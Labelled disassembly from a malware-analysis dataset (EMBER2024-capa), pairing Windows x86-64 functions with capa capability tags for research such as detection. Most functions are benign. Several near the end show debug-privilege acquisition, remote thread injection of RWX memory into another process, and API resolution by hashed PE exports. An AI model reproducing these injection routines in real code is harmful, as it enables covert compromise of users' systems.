joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43cd30
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r13
push rdi
push rsi
push rbx
sub rsp, 0x240
mov rbp, rsp
mov rbx, rcx
mov rcx, rbx
call fcn.0040fc60
mov r13d, eax
mov ecx, 0xfde9
xor edx, edx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call fcn.00418030
mov esi, eax
cmp esi, 0x104
jbe 0x43cd8b
mov ecx, esi
add ecx, ecx
mov ecx, ecx
call fcn.00409250
mov rdi, rax
jmp 0x43cd8f
lea rdi, [rbp + 0x38]
mov ecx, 0xfde9
xor edx, edx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], esi
call fcn.00418030
mov rcx, rdi
call sub.user32.dll_CharUpperW
xor ebx, ebx
xor ecx, ecx
mov edx, esi
sub edx, 1
mov eax, ecx
cmp eax, edx
jg 0x43cde5
sub edx, ecx
add edx, 1
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movsxd rcx, eax
movzx ecx, word [rdi + rcx*2]
xor ebx, ecx
add eax, 1
sub edx, 1
test edx, edx
jne 0x43cdc6
nop
lea rax, [rbp + 0x38]
cmp rdi, rax
je 0x43cdf7
mov rcx, rdi
call fcn.00409280
mov eax, ebx
lea rsp, [rbp + 0x240]
pop rbx
pop rsi
pop rdi
pop r13
pop rbp
ret

Function at 0x43e4a0
Capabilities:
Query environment variable

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x828
mov rbp, rsp
mov rbx, rcx
mov rsi, rdx
mov rcx, rbx
call fcn.0040f400
mov rcx, rsi
call fcn.00410760
mov rdi, rax
mov rcx, rdi
lea rdx, [rbp + 0x20]
mov r8d, 0x400
call sub.kernel32.dll_GetEnvironmentVariableW
mov esi, eax
cmp esi, 0x400
jge 0x43e4f4
mov rcx, rbx
lea rdx, [rbp + 0x20]
mov r8d, esi
call fcn.0040f700
jmp 0x43e517
mov rcx, rbx
mov edx, esi
sub edx, 1
call fcn.004109b0
mov rcx, qword [rbx]
call fcn.00410760
mov rcx, rdi
mov rdx, rax
mov r8d, esi
call sub.kernel32.dll_GetEnvironmentVariableW
mov rax, rbx
lea rsp, [rbp + 0x828]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x457390
Capabilities:
Encode data using xor

Disassembly:
mov al, 0xb5
mov r8, rcx
xor edx, edx
mov ecx, edx
and ecx, 0x3f
mov r9, r8
shr r9, cl
and r9b, 0xff
xor al, r9b
add edx, 1
cmp edx, 8
jne 0x457397
nop
ret

Function at 0x45e190
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov eax, r8d
mov edx, edx
lea rdx, [rcx + rdx]
cmp rcx, rdx
jae 0x45e1b4
movzx r8, byte [rcx]
xor eax, r8d
imul eax, eax, 0x1000193
add rcx, 1
cmp rcx, rdx
jb 0x45e19e
nop
ret
Function at 0x4752c0
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x68
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x80], rcx
mov byte [rbp + 0x88], dl
cmp byte [rbp + 0x88], 0
je 0x4752fe
mov rcx, qword [rbp + 0x80]
movzx rdx, byte [rbp + 0x88]
call fcn.0040caa0
mov qword [rbp + 0x80], rax
nop
mov rcx, qword [0x0046d200]
mov dl, 1
call fcn.004a1e20
mov rcx, qword [rbp + 0x80]
mov qword [rcx + 8], rax
mov rcx, qword [0x00473da8]
mov dl, 1
call fcn.004a6bc0
mov rcx, qword [rbp + 0x80]
mov qword [rcx + 0x10], rax
mov rcx, qword [0x00473da8]
mov dl, 1
call fcn.004a6bc0
mov rcx, qword [rbp + 0x80]
mov qword [rcx + 0x18], rax
lea rcx, [rbp + 0x30]
call sub.kernel32.dll_GetSystemInfo
mov rax, qword [rbp + 0x80]
mov ecx, dword [rbp + 0x34]
mov dword [rax + 0x20], ecx
cmp byte [rbp + 0x88], 0
je 0x4753bb
mov rcx, qword [rbp + 0x80]
call fcn.0040cae0
mov qword [rbp + 0x80], rax
jmp 0x4753bb
mov rax, qword [rbp + 0x80]
lea rsp, [rbp + 0x68]
pop rbx
pop rbp
ret

Function at 0x50d050
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x28
movzx rax, byte [rcx + 0x19]
or al, dl
test al, al
je 0x50d0a0
cmp byte [rcx + 0x1d], 0
jne 0x50d0a0
cmp byte [rcx + 0x40], 0
jne 0x50d0a0
mov byte [rcx + 0x1b], 0
mov byte [rcx + 0x19], 0
mov rcx, qword [rcx + 0x10]
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x50d0bd
mov rcx, qword [0x004c96e8]
mov dl, 1
mov r8, qword [0x005743d0]
call fcn.004395f0
mov rcx, rax
call fcn.0040e560
jmp 0x50d0bd
mov rcx, qword [0x004c96e8]
mov dl, 1
mov r8, qword [0x005743d0]
call fcn.004395f0
mov rcx, rax
call fcn.0040e560
add rsp, 0x28
ret

Function at 0x50dd50
Capabilities:
Suspend thread

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x50], rcx
mov rax, qword [rbp + 0x50]
movzx rax, byte [rax + 0x1b]
mov byte [rbp + 0x3f], al
nop
mov rax, qword [rbp + 0x50]
mov byte [rax + 0x1b], 1
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax + 0x10]
call sub.kernel32.dll_SuspendThread
mov rcx, qword [rbp + 0x50]
test eax, eax
setge dl
call fcn.0050ced0
jmp 0x50ddab
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x50ddd0
Capabilities:
Resume thread

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rcx, qword [rbx + 0x10]
call sub.kernel32.dll_ResumeThread
mov esi, eax
mov rcx, rbx
test esi, esi
setge dl
call fcn.0050ced0
cmp esi, 1
jne 0x50ddfa
mov byte [rbx + 0x1b], 0
add rsp, 0x28
pop rbx
pop rsi
ret
Function at 0x53a760
Capabilities:
Set registry value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov rbp, rsp
mov rbx, rdx
mov rsi, r8
mov rdi, r9
call fcn.00410760
mov rcx, rdi
mov rdx, rax
xor r8, r8
lea r9, [0x0053a838]
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0x2001f
mov qword [rsp + 0x30], 0
lea rax, [rbp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x54]
mov qword [rsp + 0x40], rax
call sub.advapi32.dll_RegCreateKeyExW
mov edi, eax
test edi, edi
jne 0x53a80d
xor edi, edi
mov rax, rsi
test rax, rax
je 0x53a7cc
mov edi, dword [rax - 4]
mov rcx, rbx
call fcn.00410760
mov rbx, rax
mov rcx, rsi
call fcn.00410760
mov rcx, qword [rbp + 0x58]
mov rdx, rbx
xor r8, r8
mov r9d, 1
mov qword [rsp + 0x20], rax
add edi, 1
add edi, edi
mov dword [rsp + 0x28], edi
call sub.advapi32.dll_RegSetValueExW
mov edi, eax
mov rcx, qword [rbp + 0x58]
call sub.advapi32.dll_RegCloseKey
test edi, edi
je 0x53a82e
mov rcx, qword [0x00537e88]
mov dl, 1
mov r8, qword [0x005740c0]
call fcn.004395f0
mov rcx, rax
call fcn.0040e560
lea rsp, [rbp + 0x68]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x53a840
Capabilities:
Delete registry key

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rdx
call fcn.00410760
mov rcx, rbx
mov rdx, rax
call sub.advapi32.dll_RegDeleteKeyW
add rsp, 0x20
pop rbx
ret
Function at 0x540e50
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
mov rbp, rsp
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
nop
lea rcx, [rbp + 0x78]
mov rdx, qword [rbp + 0xc8]
call fcn.0040fb00
mov rcx, qword [rbp + 0x78]
call fcn.00540350
mov byte [rbp + 0x83], al
cmp byte [rbp + 0x83], 0
jne 0x540ec3
lea rcx, [rbp + 0x78]
mov edx, 1
mov r8d, 1
call fcn.00410e00
mov rax, qword [rbp + 0xc0]
mov rax, qword [rax + 8]
mov qword [rbp + 0x98], rax
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xc8]
call fcn.00542020
mov qword [rbp + 0x90], rax
cmp qword [rbp + 0x90], 0
je 0x541016
nop
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0x90]
call fcn.00540860
mov rcx, qword [rbp + 0xc0]
lea rdx, [rbp + 0x54]
call fcn.00541180
test al, al
je 0x540ff6
lea rcx, [rbp + 0x70]
xor edx, edx
mov r8d, dword [rbp + 0x58]
add r8d, 1
call fcn.0040f700
mov eax, dword [rbp + 0x54]
sub eax, 1
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x540ff5
mov eax, dword [rbp + 0x58]
add eax, 1
mov dword [rbp + 0x88], eax
mov rcx, qword [rbp + 0x70]
call fcn.00410760
mov rcx, qword [rbp + 0x90]
mov edx, dword [rbp + 0x84]
mov r8, rax
lea r9, [rbp + 0x88]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.advapi32.dll_RegEnumKeyExW
mov rcx, qword [rbp + 0xc0]
mov edx, eax
call fcn.00540780
test al, al
je 0x540fe1
mov rcx, qword [rbp + 0x70]
call fcn.00410760
lea rcx, [rbp + 0x40]
mov rdx, rax
call fcn.004107f0
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0x40]
call fcn.00540e50
sub dword [rbp + 0x84], 1
cmp dword [rbp + 0x84], 0xffffffff
jne 0x540f55
nop
nop
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0x98]
call fcn.00540860
mov rcx, qword [rbp + 0x90]
call sub.advapi32.dll_RegCloseKey
cmp byte [0x00581748], 0
je 0x541075
mov rcx, qword [rbp + 0xc0]
movzx rdx, byte [rbp + 0x83]
call fcn.00540840
mov rbx, rax
mov rcx, qword [rbp + 0x78]
call fcn.00410760
mov rcx, rbx
mov rdx, rax
mov rax, qword [rbp + 0xc0]
mov r8d, dword [rax + 0x2c]
and r8d, 0x300
xor r9, r9
call sub.advapi32.dll_RegDeleteKeyExW
mov rcx, qword [rbp + 0xc0]
mov edx, eax
call fcn.00540780
mov byte [rbp + 0x8f], al
jmp 0x5410b4
mov rcx, qword [rbp + 0xc0]
movzx rdx, byte [rbp + 0x83]
call fcn.00540840
mov rbx, rax
mov rcx, qword [rbp + 0x78]
call fcn.00410760
mov rcx, rbx
mov rdx, rax
call sub.advapi32.dll_RegDeleteKeyW
mov rcx, qword [rbp + 0xc0]
mov edx, eax
call fcn.00540780
mov byte [rbp + 0x8f], al
nop
lea rcx, [rbp + 0x40]
call fcn.0040f400
lea rcx, [rbp + 0x70]
mov edx, 2
call fcn.0040f4e0
movzx rax, byte [rbp + 0x8f]
lea rsp, [rbp + 0xa8]
pop rbx
pop rbp
ret

Function at 0x541150
Capabilities:
Delete registry value

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, rdx
call fcn.00410760
mov rcx, qword [rbx + 8]
mov rdx, rax
call sub.advapi32.dll_RegDeleteValueW
mov rcx, rbx
mov edx, eax
call fcn.00540780
add rsp, 0x20
pop rbx
ret
Function at 0x5427b0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x98
mov rbp, rsp
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], r8
nop
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax + 0x50]
mov rax, qword [rax + 8]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax + 0x50]
mov rdx, qword [rbp + 0xb8]
call fcn.00540860
nop
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax + 0x50]
lea rdx, [rbp + 0x64]
call fcn.00541180
test al, al
je 0x542930
mov rcx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov r8, qword [rbp + 0xc0]
xor r9, r9
call fcn.00542630
lea rcx, [rbp + 0x58]
xor edx, edx
mov r8d, dword [rbp + 0x70]
add r8d, 1
call fcn.0040f700
xor eax, eax
mov ebx, dword [rbp + 0x6c]
sub ebx, 1
mov dword [rbp + 0x80], eax
cmp dword [rbp + 0x80], ebx
jg 0x54292f
sub ebx, eax
add ebx, 1
mov eax, dword [rbp + 0x70]
add eax, 1
mov dword [rbp + 0x84], eax
mov rcx, qword [rbp + 0x58]
call fcn.00410760
mov rcx, qword [rbp + 0xb8]
mov edx, dword [rbp + 0x80]
mov r8, rax
lea r9, [rbp + 0x84]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.advapi32.dll_RegEnumValueW
mov rcx, qword [rbp + 0xb0]
mov rcx, qword [rcx + 0x50]
mov edx, eax
call fcn.00540780
test al, al
je 0x54291d
mov rcx, qword [rbp + 0x58]
call fcn.00410760
lea rcx, [rbp + 0x40]
mov rdx, rax
call fcn.004107f0
mov rcx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov r8, qword [rbp + 0xc0]
mov r9, qword [rbp + 0x40]
call fcn.00542630
add dword [rbp + 0x80], 1
sub ebx, 1
test ebx, ebx
jne 0x54287f
nop
nop
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax + 0x50]
mov rdx, qword [rbp + 0x88]
call fcn.00540860
nop
lea rcx, [rbp + 0x40]
call fcn.0040f400
lea rcx, [rbp + 0x58]
call fcn.0040f400
lea rsp, [rbp + 0x98]
pop rbx
pop rbp
ret
Function at 0x544330
Capabilities:
Initialize winsock library

Disassembly:
push rbp
push rbx
sub rsp, 0x38
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x50], rcx
mov byte [rbp + 0x58], dl
cmp byte [rbp + 0x58], 0
je 0x54435c
mov rcx, qword [rbp + 0x50]
movzx rdx, byte [rbp + 0x58]
call fcn.0040caa0
mov qword [rbp + 0x50], rax
nop
mov rax, qword [rbp + 0x50]
mov qword [rax + 0x1a0], 0xffffffffffffffff
mov cx, 0x202
mov rax, qword [rbp + 0x50]
lea rdx, [rax + 8]
call sub.ws2_32.dll_WSAStartup
mov rax, qword [rbp + 0x50]
mov dword [rax + 0x1b4], 0x7d0
mov rax, qword [rbp + 0x50]
mov dword [rax + 0x1b8], 0x1388
cmp byte [rbp + 0x58], 0
je 0x5443dc
mov rcx, qword [rbp + 0x50]
call fcn.0040cae0
mov qword [rbp + 0x50], rax
jmp 0x5443dc
mov rax, qword [rbp + 0x50]
lea rsp, [rbp + 0x38]
pop rbx
pop rbp
ret

Function at 0x5447a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x60
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], rdx
mov dword [rbp + 0x38], r8d
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x40], 0
nop
xor eax, eax
mov byte [rbp + 0x3f], al
mov rax, qword [rbp + 0x28]
cmp qword [rax + 0x1a0], 0xffffffffffffffff
jne 0x5447ed
mov rcx, qword [rbp + 0x28]
lea rdx, [0x005448e4]
call fcn.005444a0
jmp 0x54488b
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 0x1a0]
mov rdx, qword [rbp + 0x30]
mov r8d, dword [rbp + 0x38]
mov r9d, 8
call sub.ws2_32.dll_recv
test eax, eax
jg 0x544885
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x1a0]
cmp rax, 0xffffffffffffffff
je 0x544837
mov rcx, rax
call sub.ws2_32.dll_closesocket
mov rax, qword [rbp + 0x28]
mov qword [rax + 0x1a0], 0xffffffffffffffff
call sub.ws2_32.dll_WSAGetLastError
test eax, eax
jge 0x544845
call fcn.0040b970
lea rcx, [rbp + 0x40]
mov edx, eax
xor r8, r8
call fcn.00436fd0
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x48], rax
mov byte [rbp + 0x50], 0x11
lea rcx, [rbp + 0x58]
lea rdx, [0x005448f8]
lea r8, [rbp + 0x48]
xor r9, r9
call fcn.00430770
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x58]
call fcn.005444a0
jmp 0x54488b
mov al, 1
mov byte [rbp + 0x3f], al
nop
lea rcx, [rbp + 0x40]
call fcn.0040f400
lea rcx, [rbp + 0x58]
call fcn.0040f400
movzx rax, byte [rbp + 0x3f]
lea rsp, [rbp + 0x60]
pop rbp
ret
Function at 0x544f50
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x60
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], rdx
mov dword [rbp + 0x38], r8d
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x40], 0
nop
xor eax, eax
mov byte [rbp + 0x3f], al
mov rax, qword [rbp + 0x28]
cmp qword [rax + 0x1a0], 0xffffffffffffffff
jne 0x544f9d
mov rcx, qword [rbp + 0x28]
lea rdx, [0x00545094]
call fcn.005444a0
jmp 0x545038
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 0x1a0]
mov rdx, qword [rbp + 0x30]
mov r8d, dword [rbp + 0x38]
xor r9, r9
call sub.ws2_32.dll_send
test eax, eax
jge 0x545032
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x1a0]
cmp rax, 0xffffffffffffffff
je 0x544fe4
mov rcx, rax
call sub.ws2_32.dll_closesocket
mov rax, qword [rbp + 0x28]
mov qword [rax + 0x1a0], 0xffffffffffffffff
call sub.ws2_32.dll_WSAGetLastError
test eax, eax
jge 0x544ff2
call fcn.0040b970
lea rcx, [rbp + 0x40]
mov edx, eax
xor r8, r8
call fcn.00436fd0
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x48], rax
mov byte [rbp + 0x50], 0x11
lea rcx, [rbp + 0x58]
lea rdx, [0x005450a8]
lea r8, [rbp + 0x48]
xor r9, r9
call fcn.00430770
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x58]
call fcn.005444a0
jmp 0x545037
mov al, 1
mov byte [rbp + 0x3f], al
nop
lea rcx, [rbp + 0x40]
call fcn.0040f400
lea rcx, [rbp + 0x58]
call fcn.0040f400
movzx rax, byte [rbp + 0x3f]
lea rsp, [rbp + 0x60]
pop rbp
ret

Function at 0x545510
Capabilities:
Get hostname
Resolve dns

Disassembly:
push rbp
sub rsp, 0x170
mov rbp, rsp
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x190], r8
mov rcx, qword [rbp + 0x190]
call fcn.0040f5d0
nop
lea rcx, [rbp + 0x70]
mov edx, pe_nt_image_headers64
call sub.ws2_32.dll_gethostname
lea rcx, [rbp + 0x68]
mov rdx, qword [rbp + 0x190]
xor r8, r8
call fcn.00410360
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x68]
call fcn.00430210
lea rcx, [rbp + 0x70]
call sub.ws2_32.dll_gethostbyname
test rax, rax
je 0x5455e9
mov rax, qword [rax + 0x18]
test rax, rax
je 0x5455de
mov rax, qword [rax]
test rax, rax
je 0x5455d3
movzx rcx, byte [rax]
mov dword [rbp + 0x28], ecx
mov byte [rbp + 0x30], 0
movzx rcx, byte [rax + 1]
mov dword [rbp + 0x38], ecx
mov byte [rbp + 0x40], 0
movzx rcx, byte [rax + 2]
mov dword [rbp + 0x48], ecx
mov byte [rbp + 0x50], 0
movzx rax, byte [rax + 3]
mov dword [rbp + 0x58], eax
mov byte [rbp + 0x60], 0
mov rcx, qword [rbp + 0x20]
lea rdx, [0x00545654]
lea r8, [rbp + 0x28]
mov r9d, 3
call fcn.00430770
jmp 0x5455f2
mov rcx, qword [rbp + 0x20]
call fcn.0040f400
jmp 0x5455f2
mov rcx, qword [rbp + 0x20]
call fcn.0040f400
jmp 0x5455f2
mov rcx, qword [rbp + 0x20]
call fcn.0040f400
nop
lea rcx, [rbp + 0x68]
call fcn.0040f450
lea rcx, [rbp + 0x190]
call fcn.0040f400
mov rax, qword [rbp + 0x20]
lea rsp, [rbp + 0x170]
pop rbp
ret
Function at 0x545fb0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x50
xor ebx, ebx
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
mov edx, 0x28
lea r8, [rsp + 0x48]
call sub.advapi32.dll_OpenProcessToken
xor ecx, ecx
lea rdx, [0x0054602c]
lea r8, [rsp + 0x3c]
call sub.advapi32.dll_LookupPrivilegeValueW
test eax, eax
je 0x546024
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x44], 2
mov rcx, qword [rsp + 0x48]
xor edx, edx
lea r8, [rsp + 0x38]
mov r9d, 0x10
mov qword [rsp + 0x20], 0
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
call sub.advapi32.dll_AdjustTokenPrivileges
test eax, eax
setne bl
mov eax, ebx
add rsp, 0x50
pop rbx
ret

Function at 0x546050
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
add rsp, 0xffffffffffffff80
mov rbp, rsp
mov qword [rbp + 0x48], rbp
mov dword [rbp + 0x90], ecx
mov qword [rbp + 0x98], rdx
mov byte [rbp + 0x77], 0
call fcn.00545fb0
test al, al
je 0x546181
mov ecx, 0x1fffff
xor edx, edx
mov r8d, dword [rbp + 0x90]
call sub.kernel32.dll_OpenProcess
mov qword [rbp + 0x78], rax
nop
mov rcx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x98]
mov rax, qword [rax]
call qword [rax]
mov rcx, qword [rbp + 0x78]
xor edx, edx
mov r8, rax
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp + 0x60], rax
cmp qword [rbp + 0x60], 0
je 0x546177
mov rcx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x98]
mov rax, qword [rax]
call qword [rax]
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x98]
mov r8, qword [r8 + 8]
mov r9, rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x546177
mov rcx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x98]
mov rax, qword [rax]
call qword [rax]
test rax, rax
jl 0x54612d
cmp qword [rbp + 0x50], rax
jne 0x54612d
mov al, 1
jmp 0x54612f
xor eax, eax
test al, al
je 0x546177
mov rcx, qword [rbp + 0x78]
xor edx, edx
xor r8, r8
mov r9, qword [rbp + 0x60]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x30], rax
call sub.kernel32.dll_CreateRemoteThread
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x54616e
mov byte [rbp + 0x77], 1
mov rcx, qword [rbp + 0x68]
call sub.kernel32.dll_CloseHandle
nop
mov rcx, qword [rbp + 0x78]
call sub.kernel32.dll_CloseHandle
movzx rax, byte [rbp + 0x77]
lea rsp, [rbp + 0x80]
pop rbp
ret
Function at 0x140538923
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x78
mov dword [rsp + 0x6c], edx
mov qword [rsp + 0x60], rcx
cmp qword [rsp + 0x60], 0
jne 0x14053894a
mov qword [rsp + 0x70], 0
jmp 0x140538a84
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14053896e
mov qword [rsp + 0x70], 0
jmp 0x140538a84
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14053899e
mov qword [rsp + 0x70], 0
jmp 0x140538a84
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x88]
add rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x20]
add rax, rcx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x3c], 0
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x48]
cmp eax, dword [rcx + 0x18]
jae 0x140538a7b
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
mov edx, 0x911c9ac5
call fcn.1405396c5
cmp eax, dword [rsp + 0x6c]
jne 0x140538a66
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x24]
add rax, rcx
mov ecx, dword [rsp + 0x3c]
movzx eax, word [rax + rcx*2]
mov dword [rsp + 0x2c], eax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov edx, dword [rsp + 0x2c]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x70], rax
jmp 0x140538a84
jmp 0x140538a6b
mov eax, dword [rsp + 0x3c]
add eax, 1
mov dword [rsp + 0x3c], eax
jmp 0x1405389d3
mov qword [rsp + 0x70], 0
mov rax, qword [rsp + 0x70]
add rsp, 0x78
ret

Function at 0x14053965b
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x34], edx
mov qword [rsp + 0x28], rcx
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0
jne 0x140539686
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x24], eax
jmp 0x1405396aa
imul edx, dword [rsp + 0x34], 0x1000193
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
xor edx, eax
mov rcx, qword [rsp + 0x28]
add rcx, 2
call fcn.14053965b
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
add rsp, 0x38
ret

Function at 0x1405396c5
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x34], edx
mov qword [rsp + 0x28], rcx
mov rax, qword [rsp + 0x28]
movsx eax, byte [rax]
cmp eax, 0
jne 0x1405396f0
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x24], eax
jmp 0x140539714
imul edx, dword [rsp + 0x34], 0x1000193
mov rax, qword [rsp + 0x28]
movsx eax, byte [rax]
xor edx, eax
mov rcx, qword [rsp + 0x28]
add rcx, 1
call fcn.1405396c5
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
add rsp, 0x38
ret